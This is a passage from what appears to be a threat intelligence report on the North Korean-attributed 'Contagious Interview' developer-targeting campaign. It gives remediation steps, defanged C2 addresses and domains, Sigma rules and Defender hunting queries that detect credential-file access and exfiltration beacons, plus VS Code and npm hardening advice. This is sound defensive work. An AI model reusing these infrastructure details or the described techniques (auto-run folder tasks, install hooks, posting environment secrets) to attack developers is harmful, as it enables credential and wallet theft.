- Abstract Security ASTRO - Contagious Interview: Evolution of VS Code and Cursor Tasks Infection Chains (2026-02-25)
- GitLab Threat Intelligence - North Korean Tradecraft (2026-02-19) - year-in-review of 131 banned DPRK accounts on GitLab.com; independently documents the
.envbase64 staging pattern, header-keyed decoy gate mechanism, Vercel delivery infrastructure, Gmail account patterns, and parallel-team attribution assessment - Microsoft Security Blog - Developer-targeting campaign using malicious Next.js repositories (2026-02-24)
- ThreatProphet TP-2026-001 - Interview Trap
- ThreatProphet TP-2026-002 - Japanese-Royal
Remediation
If You Ran the Repository
Treat this as a confirmed credential compromise regardless of how briefly the process ran. The backend route posts the merged process.env object during server startup, before any meaningful application output appears. The VS Code task route installs a persistent beacon in $HOME/.vscode/ independent of the repository itself.
- Isolate the affected machine from the network immediately
- Rotate all credentials that may have been in the environment at the time of execution: AWS access keys, Infura/Alchemy/Pinata API keys, Stripe and Coinbase keys, Etherscan and Polygonscan keys, OpenAI API keys, and any other secrets loaded from
.envor.env.localfiles - Check for the implant in
$HOME/.vscode/: look forenv-setup.js,package.json,vscode-bootstrap.sh, and any.txtfiles named after project directories - Audit cloud provider access logs for anomalous API calls in the window following execution - credential abuse may begin within seconds of the exfiltration POST
- Check for persistent execution: cron jobs,
launchdagents (macOS~/Library/LaunchAgents/), systemd user units, and registry Run keys (Windows) - If Chrome or Brave is installed and browser wallets were present, treat wallet extensions and browser-stored secrets as exposed. Remove and reinstall wallet extensions from official sources, revoke active sessions where possible, and move funds from wallets that were unlocked or used during the compromise window.
- Reimage from a known-good backup or clean OS install once forensic preservation is complete
Network-Level Detection
- Block and alert on all outbound connections to
185.163.125[.]196and87.236.177[.]9, all ports, especially TCP/3000 - Create IDS/IPS signatures for HTTP GET requests to
/api/errorMessagewith parameterexceptionId=env991228 - Alert on outbound HTTP (plaintext) connections from
nodeprocesses to non-standard high ports - Monitor for outbound POST requests to
*.vercel.app/apifrom Node.js processes carryingx-app-request: ip-check - Flag DNS lookups for
vscode-settings-tasks-227[.]vercel[.]appandip-checking-notification-firebase-2[.]vercel[.]appfrom developer workstations - Alert on externally reported next-stage path patterns:
/api/handleErrors,/api/hsocketNext,/api/hsocketResult,/upload,/uploadsecond,/uploadendfrom Node.js processes
Sigma rules:
title: Contagious Interview Stage 2 Registrar C2 Beacon - env991228
status: experimental
logsource:
category: network_connection
detection:
selection:
DestinationIp|contains:
- '185.163.125[.]196'
- '87.236.177[.]9'
- '147.124.202[.]208'
DestinationPort: 3000
condition: selection
falsepositives:
- None expected
level: critical
title: Contagious Interview Credential Gate Exfiltration - x-app-request ip-check
status: experimental
logsource:
category: network_connection
detection:
selection:
DestinationHostname|contains: 'vercel.app'
http.request.headers|contains: 'x-app-request: ip-check'
condition: selection
falsepositives:
- None expected
level: high
Microsoft Defender XDR hunting queries (via Microsoft Security Blog, 2026-02-24):
// Node.js fetching remote JavaScript from staging domains
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node","node.exe")
| where RemoteUrl has_any ("vercel.app", "api-web3-auth", "oracle-v1-beta")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, RemoteUrl
// Repeated short-interval beaconing to C2 paths
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node","node.exe")
| where RemoteUrl has_any ("/api/errorMessage", "/api/handleErrors")
| summarize BeaconCount=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessCommandLine, RemoteUrl
| where BeaconCount > 10
// Externally reported next-stage directory enumeration and staged upload
DeviceNetworkEvents
| where RemoteUrl has_any ("/hsocketNext", "/hsocketResult",
"/upload", "/uploadsecond", "/uploadend")
| project Timestamp, DeviceName, RemoteUrl, InitiatingProcessCommandLine
// Suspicious Node.js access to credential files
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName has_any (".env", ".env.local", "Cookies", "Login Data")
| where InitiatingProcessFileName in~ ("node","node.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessCommandLine
Host-Level Hardening
- Set
task.allowAutomaticTaskstoofforpromptin VS Code user settings - this is the single highest-impact change for preventingrunOn: folderOpentasks from executing silently - Review
.vscode/tasks.jsonbefore opening any repository from an unknown source; look specifically forrunOn: folderOpenand any shell commands referencing remote URLs or pipe-to-shell patterns - Audit
prepare,postinstall, andpreinstallscripts inpackage.jsonbefore runningnpm installin unfamiliar projects - When evaluating repositories from unknown parties - including interview assessments - run them in an isolated VM or container with no access to host credentials, no mounted
.envfiles containing real secrets, and filtered network egress - Ensure
.env.localfiles on developer workstations do not contain credentials that would cause material harm if exfiltrated; use secrets managers or environment injection at runtime rather than file-based credential storage where possible
TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on TTP similarity only. All IOCs are provided for defensive purposes.
Report ID: TP-2026-004 | Published: 2026-03-02 | Author: ThreatProphet